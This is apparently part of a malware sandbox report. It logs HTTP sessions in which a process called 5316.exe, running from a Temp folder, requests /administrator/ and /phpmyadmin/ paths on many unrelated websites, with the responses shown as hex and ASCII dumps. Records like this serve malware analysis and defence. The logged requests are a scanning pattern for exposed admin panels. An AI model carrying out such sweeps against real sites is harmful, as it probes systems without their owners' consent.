2023-12-20 02:13:24 UTC	788	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 67 64 70 72 2f 67 64 70 72 73 63 72 69 70 74 2e 6a 73 3f 62 75 69 6c 64 54 69 6d 65 3d 31 37 30 33 30 31 37 34 32 36 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 50 61 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"><head><script src="/gdpr/gdprscript.js?buildTime=1703017426"></script><title>404 - Pa
2023-12-20 02:13:24 UTC	3121	IN	Data Raw: 65 77 6f 72 6b 2f 66 6f 6e 74 73 2f 70 72 6f 78 69 6d 61 2d 6e 6f 76 61 2d 6c 69 67 68 74 2f 33 31 41 43 39 36 5f 30 5f 30 2e 65 6f 74 3f 23 69 65 66 69 78 22 29 20 66 6f 72 6d 61 74 28 22 65 6d 62 65 64 64 65 64 2d 6f 70 65 6e 74 79 70 65 22 29 2c 20 75 72 6c 28 22 2f 2f 63 64 6e 32 2e 65 64 69 74 6d 79 73 69 74 65 2e 63 6f 6d 2f 63 6f 6d 70 6f 6e 65 6e 74 73 2f 75 69 2d 66 72 61 6d 65 77 6f 72 6b 2f 66 6f 6e 74 73 2f 70 72 6f 78 69 6d 61 2d 6e 6f 76 61 2d 6c 69 67 68 74 2f 33 31 41 43 39 36 5f 30 5f 30 2e 77 6f 66 66 22 29 20 66 6f 72 6d 61 74 28 22 77 6f 66 66 22 29 2c 20 75 72 6c 28 22 2f 2f 63 64 6e 32 2e 65 64 69 74 6d 79 73 69 74 65 2e 63 6f 6d 2f 63 6f 6d 70 6f 6e 65 6e 74 73 2f 75 69 2d 66 72 61 6d 65 77 6f 72 6b 2f 66 6f 6e 74 73 2f 70 72 6f 78 Data Ascii: ework/fonts/proxima-nova-light/31AC96_0_0.eot?#iefix") format("embedded-opentype"), url("//cdn2.editmysite.com/components/ui-framework/fonts/proxima-nova-light/31AC96_0_0.woff") format("woff"), url("//cdn2.editmysite.com/components/ui-framework/fonts/prox
2023-12-20 02:13:24 UTC	510	OUT	GET /administrator/index.php HTTP/1.1 Host: www.lisvankooten.com Accept: / Accept-Encoding: deflate, gzip Cookie: cookie-consent=%7B%22allowStrictlyNecessaryCookies%22%3Atrue%2C%22allowFunctionalityCookies%22%3Atrue%2C%22allowPerformanceCookies%22%3Atrue%2C%22allowTargetingCookies%22%3Atrue%2C%22allowInternalPerformanceCookies%22%3Atrue%7D; is_mobile=0; language=en User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://www.lisvankooten.com/administrator/
2023-12-20 02:13:25 UTC	1368	IN	HTTP/1.1 404 Not Found Date: Wed, 20 Dec 2023 02:13:25 GMT Server: Apache Vary: X-W-SSL,User-Agent Set-Cookie: language=en; expires=Wed, 03-Jan-2024 02:13:25 GMT; Max-Age=1209600; path=/ Cache-Control: private X-Host: grn128.sf2p.intern.weebly.net X-UA-Compatible: IE=edge,chrome=1 Content-Length: 3909 Content-Type: text/html; charset=UTF-8 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"> <head><script src="/gdpr/gdprscript.js?buildTime=1703017426"></script> <title>404 - Page Not Found</title> <meta http-equiv="content-type" content="text/html; charset=UTF-8" /> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta name="robots" content="noarchive" /> <link rel="shortcut icon" href="//cdn1.editmysite.com/developer/none.ico" /> <style type="text/css"> @font-face { font-family: 'Proxima Nova'; font-weight: 300; src: url("//cdn2.editmysite.com/components/ui-framework/fonts/proxima-nova-light/31AC96_0_0.eot"); src: url("//cdn2.editmysite.com/components/ui-framework/fonts/proxima-nova-light/31AC96_0_0.eot?#iefix") format("embedded-opentype"), url("//cdn2.editmysite.com/components/ui-framework/fonts/proxima-nova-light/31AC96_0_0.woff") format("woff"), url("//cdn2.editmysite.com/compo
2023-12-20 02:13:25 UTC	2895	IN	Data Raw: 6e 65 6e 74 73 2f 75 69 2d 66 72 61 6d 65 77 6f 72 6b 2f 66 6f 6e 74 73 2f 70 72 6f 78 69 6d 61 2d 6e 6f 76 61 2d 6c 69 67 68 74 2f 33 31 41 43 39 36 5f 30 5f 30 2e 74 74 66 22 29 20 66 6f 72 6d 61 74 28 22 74 72 75 65 74 79 70 65 22 29 3b 0a 09 09 7d 0a 0a 09 09 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 09 09 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 50 72 6f 78 69 6d 61 20 4e 6f 76 61 27 3b 0a 09 09 09 73 72 63 3a 20 75 72 6c 28 22 2f 2f 63 64 6e 32 2e 65 64 69 74 6d 79 73 69 74 65 2e 63 6f 6d 2f 63 6f 6d 70 6f 6e 65 6e 74 73 2f 75 69 2d 66 72 61 6d 65 77 6f 72 6b 2f 66 6f 6e 74 73 2f 70 72 6f 78 69 6d 61 2d 6e 6f 76 61 2d 72 65 67 75 6c 61 72 2f 33 31 41 43 39 36 5f 31 5f 30 2e 65 6f 74 22 29 3b 0a 09 09 09 73 72 63 3a 20 75 72 6c 28 22 2f 2f 63 64 6e Data Ascii: nents/ui-framework/fonts/proxima-nova-light/31AC96_0_0.ttf") format("truetype");}@font-face {font-family: 'Proxima Nova';src: url("//cdn2.editmysite.com/components/ui-framework/fonts/proxima-nova-regular/31AC96_1_0.eot");src: url("//cdn

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.4	55204	3.33.130.190	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:24 UTC	335	OUT	GET /administrator/ HTTP/1.1 Host: lsmnutrition.com Accept: / Accept-Encoding: deflate, gzip Cookie: traffic_target=gd; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles" User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:24 UTC	836	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 20 Dec 2023 02:13:24 GMT Content-Type: text/html Content-Length: 1543 Last-Modified: Wed, 13 Dec 2023 20:27:43 GMT Connection: close ETag: "657a13bf-607" X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_YSAMmM5cf6uOQietPkakrjb/y8mlZQUAKTzEMD3X8a6kjwrSJkEGug3kaFZ7fWFzTEOvgHHEUb76Bvs1Lhz3YQ Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=102.129.152.212;Path=/;Max-Age=86400; Set-Cookie: country=US;Path=/;Max-Age=86400; Set-Cookie: city="Los%20Angeles";Path=/;Max-Age=86400; Set-Cookie: traffic_target=gd;Path=/;Max-Age=86400; Set-Cookie: _policy={"restricted_market":false,"tracking_market":"implicit"};Path=/;Max-Age=86400; Accept-Ranges: bytes
2023-12-20 02:13:24 UTC	1543	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 2f 3e 3c 74 69 74 6c 65 3e 3c 2f Data Ascii: <!doctype html><html lang="en"><head><meta http-equiv="content-type" content="text/html;charset=utf-8"/><meta name="viewport" content="width=device-width,initial-scale=1"/><link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"/><title></

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.4	55213	34.149.87.45	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:24 UTC	186	OUT	GET /administrator HTTP/1.1 Host: www.u90soccercenter.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:25 UTC	1080	IN	HTTP/1.1 404 Not Found Content-Length: 2929 Content-Type: text/html; charset=UTF-8 Content-Language: en Strict-Transport-Security: max-age=3600 X-Wix-Request-Id: 1703038404.88316549277878632688 Age: 0 Cache-Control: no-cache Server: Pepyaka/1.19.10 X-Content-Type-Options: nosniff Accept-Ranges: bytes Date: Wed, 20 Dec 2023 02:13:24 GMT X-Served-By: cache-dfw-kdfw8210112-DFW X-Cache: MISS Vary: Accept-Encoding Server-Timing: cache;desc=miss, varnish;desc=miss_miss, dc;desc=fastly_42_g X-Seen-By: yvSunuo/8ld62ehjr5B7kA==,VtqAe8Wu9wvSsl49B/X4+ewfbs+7qUVAqsIx00yI78k=,m0j2EEknGIVUW/liY8BLLquxVSF9nMFA2iLo/JtJR4Qa0sM5c8dDUFHeNaFq0qDu,2d58ifebGbosy5xc+FRalqGyY36XJ7gOwVe0bLQXtjTSJPbf82bsb6B2sopBWZ82S3V6/8eVQe65nonc+dxBAA==,2UNV7KOq4oGjA5+PKsX47PIHZG7rU4AwWR8fGXl1XwJYgeUJqUXtid+86vZww+nL,DY1v+aegb3s4AAkdrJsUZUSfsPjeh+wOoPebqPrPO1w=,P9YodI6ewFhbf/YtWyJZ2cRJsHjpsrbYq+av+BuPZ10=,0gGrL7iazMoiuqlb7dEO3WO6CuZTil5ccmCAr6IM8iDq4CE+Ostk6dcoTXCt3mCrRA65vs83XfDBPfXS0pi9uA== Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2023-12-20 02:13:25 UTC	172	IN	Data Raw: 20 20 3c 21 2d 2d 20 20 2d 2d 3e 0a 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 0a 20 20 20 20 2d 2d 3e 0a 3c 68 74 6d 6c 20 6e 67 2d 61 70 70 3d 22 77 69 78 45 72 72 6f 72 50 61 67 65 73 41 70 70 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 75 73 65 72 Data Ascii: ... --><!doctype html>... --><html ng-app="wixErrorPagesApp"><head> <meta name="viewport" content="width=device-width,initial-scale=1, maximum-scale=1, user
2023-12-20 02:13:25 UTC	1252	IN	Data Raw: 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 20 20 3c 74 69 74 6c 65 20 6e 67 2d 62 69 6e 64 3d 22 27 70 61 67 65 5f 74 69 74 6c 65 27 20 7c 20 74 72 61 6e 73 6c 61 74 65 22 3e 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d Data Ascii: -scalable=no"> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <title ng-bind="'page_title' \| translate"></title> <meta name="description" content=""> <meta name="viewport" content="width=device-width"> <meta name=
2023-12-20 02:13:25 UTC	1252	IN	Data Raw: 2d 70 61 72 74 79 2f 61 6e 67 75 6c 61 72 6a 73 2f 31 2e 32 2e 32 38 2f 69 31 38 6e 2f 61 6e 67 75 6c 61 72 2d 6c 6f 63 61 6c 65 5f 65 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 73 74 61 74 69 63 2e 70 61 72 61 73 74 6f 72 61 67 65 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 74 68 69 72 64 2d 70 61 72 74 79 2f 61 6e 67 75 6c 61 72 2d 74 72 61 6e 73 6c 61 74 65 2f 31 2e 31 2e 31 2f 61 6e 67 75 6c 61 72 2d 74 72 61 6e 73 6c 61 74 65 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 73 74 61 74 69 63 2e 70 61 72 61 73 74 6f 72 61 67 65 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 77 69 78 2d 70 75 62 6c 69 63 2f 31 2e 37 31 39 2e 30 2f 73 63 72 69 70 74 73 2f Data Ascii: -party/angularjs/1.2.28/i18n/angular-locale_en.js"></script><script src="//static.parastorage.com/services/third-party/angular-translate/1.1.1/angular-translate.min.js"></script><script src="//static.parastorage.com/services/wix-public/1.719.0/scripts/
2023-12-20 02:13:25 UTC	253	IN	Data Raw: 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 6e 2d 61 6e 67 75 6c 61 72 2d 73 75 70 70 6f 72 74 65 64 2d 62 72 6f 77 73 65 72 2d 6c 69 6e 6b 22 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 3e 52 65 67 61 72 64 6c 65 73 73 2c 20 77 65 20 72 65 63 6f 6d 6d 65 6e 64 20 79 6f 75 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 62 72 6f 77 73 65 68 61 70 70 79 2e 63 6f 6d 2f 22 3e 75 70 64 61 74 65 20 79 6f 75 72 20 62 72 6f 77 73 65 72 2e 3c 2f 61 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 21 2d 2d 20 76 65 72 69 66 69 63 61 74 69 6f 6e 20 2d 2d 3e 0a 3c 21 2d 2d 20 65 6e 64 20 76 65 72 69 66 69 63 61 74 69 6f 6e 20 2d 2d 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <div class="non-angular-supported-browser-link"> <span>Regardless, we recommend you to <a href="http://browsehappy.com/">update your browser.</a></span> </div> </div></div>... verification -->... end verification --></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.4	55292	104.21.20.204	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:24 UTC	174	OUT	GET /phpmyadmin/ HTTP/1.1 Host: majormega.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:24 UTC	588	IN	HTTP/1.1 403 Forbidden Date: Wed, 20 Dec 2023 02:13:24 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Y4%2F3F80zrnd0IyDHN1b%2BQfnr%2BOB%2BKY%2BP1FAyjYyDunteK7r10hS%2Bd3VIe%2FXigeLJmh7OP7g03Zn354tdDuZeaFDORkfRrs3UIaDVnUzE8EYAqHQ7C7LmwGhPv8ppuLUz"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 83845dad2b6974ca-MIA alt-svc: h3=":443"; ma=86400
2023-12-20 02:13:24 UTC	100	IN	Data Raw: 35 65 0d 0a 46 6f 72 20 73 65 63 75 72 69 74 79 20 72 65 61 73 6f 6e 73 2c 20 74 68 69 73 20 55 52 4c 20 69 73 20 6f 6e 6c 79 20 61 63 63 65 73 73 69 62 6c 65 20 75 73 69 6e 67 20 6c 6f 63 61 6c 68 6f 73 74 20 28 31 32 37 2e 30 2e 30 2e 31 29 20 61 73 20 74 68 65 20 68 6f 73 74 6e 61 6d 65 2e 0d 0a Data Ascii: 5eFor security reasons, this URL is only accessible using localhost (127.0.0.1) as the hostname.
2023-12-20 02:13:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.4	55306	96.45.112.177	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:24 UTC	181	OUT	GET /administrator/ HTTP/1.1 Host: texasopendoor.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:24 UTC	532	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Wed, 20 Dec 2023 02:13:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=1cf1a6b8b84a4b16816da373dc5197dd; path=/ Pragma: no-cache Set-Cookie: aiovg_rand_seed=3166726906; expires=Thu, 21-Dec-2023 01:22:28 GMT; Max-Age=86400; path=/ Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 X-Redirect-By: WordPress Location: https://www.texasopendoor.com/administrator/
2023-12-20 02:13:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.4	55329	3.33.130.190	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:24 UTC	328	OUT	GET /phpmyadmin/ HTTP/1.1 Host: walshfam.com Accept: / Accept-Encoding: deflate, gzip Cookie: traffic_target=gd; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles" User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:24 UTC	836	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 20 Dec 2023 02:13:24 GMT Content-Type: text/html Content-Length: 1543 Last-Modified: Wed, 13 Dec 2023 20:27:43 GMT Connection: close ETag: "657a13bf-607" X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_Hv4JwNTvitbuPMhtY4lJnRcRS3FzGH88PEQNw3NbwpvZg5K+kesv4IUt5XXDUjN/SCucdjlowbOVsvkk2xjPFA Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=102.129.152.212;Path=/;Max-Age=86400; Set-Cookie: country=US;Path=/;Max-Age=86400; Set-Cookie: city="Los%20Angeles";Path=/;Max-Age=86400; Set-Cookie: traffic_target=gd;Path=/;Max-Age=86400; Set-Cookie: _policy={"restricted_market":false,"tracking_market":"implicit"};Path=/;Max-Age=86400; Accept-Ranges: bytes
2023-12-20 02:13:24 UTC	1543	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 2f 3e 3c 74 69 74 6c 65 3e 3c 2f Data Ascii: <!doctype html><html lang="en"><head><meta http-equiv="content-type" content="text/html;charset=utf-8"/><meta name="viewport" content="width=device-width,initial-scale=1"/><link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"/><title></

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.4	55305	162.159.134.42	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:24 UTC	180	OUT	GET /administrator/ HTTP/1.1 Host: directa-plus.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:25 UTC	886	IN	HTTP/1.1 520 Date: Wed, 20 Dec 2023 02:13:25 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 7189 Connection: close CF-Ray: 83845dad5941747e-MIA Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Expires: Thu, 01 Jan 1970 00:00:01 GMT Vary: Accept-Encoding ki-cache-type: None ki-edge: v=20.2.5;mv=3.0.1 ki-origin: g1p Referrer-Policy: same-origin X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=PE69a%2B8d2fMmJsf0oPx4xQTb7uJvLfGgQdvde5wNPK0%2BbwBTXSPYh07dbzhoKFnRj%2B33GpmiV0iJ7Bzd3SoElco7jrEcXxhUGGlwQtSIqcO5AjUDPNAzknWLH1Xsfx6VT6k%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2023-12-20 02:13:25 UTC	483	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 67 74 20 49 45 20 Data Ascii: <!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if gt IE
2023-12-20 02:13:25 UTC	1369	IN	Data Raw: 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d 22 63 66 5f 73 74 79 6c 65 73 2d 63 73 73 22 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 Data Ascii: arset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="width=device-width,initial-scale=1" /><link rel="stylesheet" id="cf_styles-css" href="/cdn-cgi/style
2023-12-20 02:13:25 UTC	1369	IN	Data Raw: 2d 68 69 64 64 65 6e 20 66 6c 6f 61 74 2d 6c 65 66 74 20 6d 64 3a 66 6c 6f 61 74 2d 6e 6f 6e 65 20 74 65 78 74 2d 63 65 6e 74 65 72 22 3e 0a 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 65 6c 61 74 69 76 65 20 6d 62 2d 31 30 20 6d 64 3a 6d 2d 30 22 3e 0a 20 20 20 20 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 69 63 6f 6e 2d 62 72 6f 77 73 65 72 20 62 6c 6f 63 6b 20 6d 64 3a 68 69 64 64 65 6e 20 68 2d 32 30 20 62 67 2d 63 65 6e 74 65 72 20 62 67 2d 6e 6f 2d 72 65 70 65 61 74 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 69 63 6f 6e 2d 6f 6b 20 77 2d 31 32 20 68 2d 31 32 20 61 62 73 6f 6c 75 74 65 20 6c 65 66 74 2d 31 2f 32 20 6d 64 3a 6c 65 66 74 2d 61 75 74 6f 20 6d 64 3a 72 69 67 68 74 2d 30 Data Ascii: -hidden float-left md:float-none text-center"> <div class="relative mb-10 md:m-0"> <span class="cf-icon-browser block md:hidden h-20 bg-center bg-no-repeat"></span> <span class="cf-icon-ok w-12 h-12 absolute left-1/2 md:left-auto md:right-0
